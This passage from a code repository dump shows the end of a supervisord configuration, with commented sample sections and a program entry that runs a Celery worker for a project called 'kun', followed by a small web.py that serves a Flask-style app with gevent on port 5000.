80 | ;stopsignal=QUIT ; signal used to kill process (default TERM)
81 | ;stopwaitsecs=10 ; max num secs to wait b4 SIGKILL (default 10)
82 | ;stopasgroup=false ; send stop signal to the UNIX process group (default false)
83 | ;killasgroup=false ; SIGKILL the UNIX process group (def false)
84 | ;user=chrism ; setuid to this UNIX account to run the program
85 | ;redirect_stderr=true ; redirect proc stderr to stdout (default false)
86 | ;stdout_logfile=/a/path ; stdout log path, NONE for none; default AUTO
87 | ;stdout_logfile_maxbytes=1MB ; max # logfile bytes b4 rotation (default 50MB)
88 | ;stdout_logfile_backups=10 ; # of stdout logfile backups (0 means none, default 10)
89 | ;stdout_capture_maxbytes=1MB ; number of bytes in 'capturemode' (default 0)
90 | ;stdout_events_enabled=false ; emit events on stdout writes (default false)
91 | ;stderr_logfile=/a/path ; stderr log path, NONE for none; default AUTO
92 | ;stderr_logfile_maxbytes=1MB ; max # logfile bytes b4 rotation (default 50MB)
93 | ;stderr_logfile_backups=10 ; # of stderr logfile backups (0 means none, default 10)
94 | ;stderr_capture_maxbytes=1MB ; number of bytes in 'capturemode' (default 0)
95 | ;stderr_events_enabled=false ; emit events on stderr writes (default false)
96 | ;environment=A="1",B="2" ; process environment additions (def no adds)
97 | ;serverurl=AUTO ; override serverurl computation (childutils)
98 |
99 | ; The sample eventlistener section below shows all possible eventlistener
100 | ; subsection values. Create one or more 'real' eventlistener: sections to be
101 | ; able to handle event notifications sent by supervisord.
102 |
103 | ;[eventlistener:theeventlistenername]
104 | ;command=/bin/eventlistener ; the program (relative uses PATH, can take args)
105 | ;process_name=%(program_name)s ; process_name expr (default %(program_name)s)
106 | ;numprocs=1 ; number of processes copies to start (def 1)
107 | ;events=EVENT ; event notif. types to subscribe to (req'd)
108 | ;buffer_size=10 ; event buffer queue size (default 10)
109 | ;directory=/tmp ; directory to cwd to before exec (def no cwd)
110 | ;umask=022 ; umask for process (default None)
111 | ;priority=-1 ; the relative start priority (default -1)
112 | ;autostart=true ; start at supervisord start (default: true)
113 | ;startsecs=1 ; # of secs prog must stay up to be running (def. 1)
114 | ;startretries=3 ; max # of serial start failures when starting (default 3)
115 | ;autorestart=unexpected ; autorestart if exited after running (def: unexpected)
116 | ;exitcodes=0,2 ; 'expected' exit codes used with autorestart (default 0,2)
117 | ;stopsignal=QUIT ; signal used to kill process (default TERM)
118 | ;stopwaitsecs=10 ; max num secs to wait b4 SIGKILL (default 10)
119 | ;stopasgroup=false ; send stop signal to the UNIX process group (default false)
120 | ;killasgroup=false ; SIGKILL the UNIX process group (def false)
121 | ;user=chrism ; setuid to this UNIX account to run the program
122 | ;redirect_stderr=false ; redirect_stderr=true is not allowed for eventlisteners
123 | ;stdout_logfile=/a/path ; stdout log path, NONE for none; default AUTO
124 | ;stdout_logfile_maxbytes=1MB ; max # logfile bytes b4 rotation (default 50MB)
125 | ;stdout_logfile_backups=10 ; # of stdout logfile backups (0 means none, default 10)
126 | ;stdout_events_enabled=false ; emit events on stdout writes (default false)
127 | ;stderr_logfile=/a/path ; stderr log path, NONE for none; default AUTO
128 | ;stderr_logfile_maxbytes=1MB ; max # logfile bytes b4 rotation (default 50MB)
129 | ;stderr_logfile_backups=10 ; # of stderr logfile backups (0 means none, default 10)
130 | ;stderr_events_enabled=false ; emit events on stderr writes (default false)
131 | ;environment=A="1",B="2" ; process environment additions
132 | ;serverurl=AUTO ; override serverurl computation (childutils)
133 |
134 | ; The sample group section below shows all possible group values. Create one
135 | ; or more 'real' group: sections to create "heterogeneous" process groups.
136 |
137 | ;[group:thegroupname]
138 | ;programs=progname1,progname2 ; each refers to 'x' in [program:x] definitions
139 | ;priority=999 ; the relative start priority (default 999)
140 |
141 | ; The [include] section can just contain the "files" setting. This
142 | ; setting can list multiple files (separated by whitespace or
143 | ; newlines). It can also contain wildcards. The filenames are
144 | ; interpreted as relative to this file. Included files *cannot*
145 | ; include files themselves.
146 |
147 | ;[include]
148 | ;files = relative/directory/*.ini
149 |
150 | [program:kun]
151 | environment=PYTHONOPTIMIZE=1
152 | command=celery worker -A app.celery_worker.celery -l INFO
153 | directory=/home/ubuntu/kun
154 |
155 | numprocs=1
156 | stdout_logfile=/home/ubuntu/kun/celeryworker.log
157 | stderr_logfile=/home/ubuntu/kun/celeryworker.log
158 | autostart=true
159 | autorestart=true
160 | startsecs=10
161 | stopwaitsecs = 600
162 | priority=15
163 |
--------------------------------------------------------------------------------
/web.py:
--------------------------------------------------------------------------------
1 | from gevent.wsgi import WSGIServer
2 | from app import CreateApp
3 |
4 | app = CreateApp()
5 |
6 | if __name__ == '__main__':
7 | #app.run(host = '0.0.0.0',port = 8000,debug=True)
8 | http_server = WSGIServer(('', 5000), app)
9 | http_server.serve_forever()
--------------------------------------------------------------------------------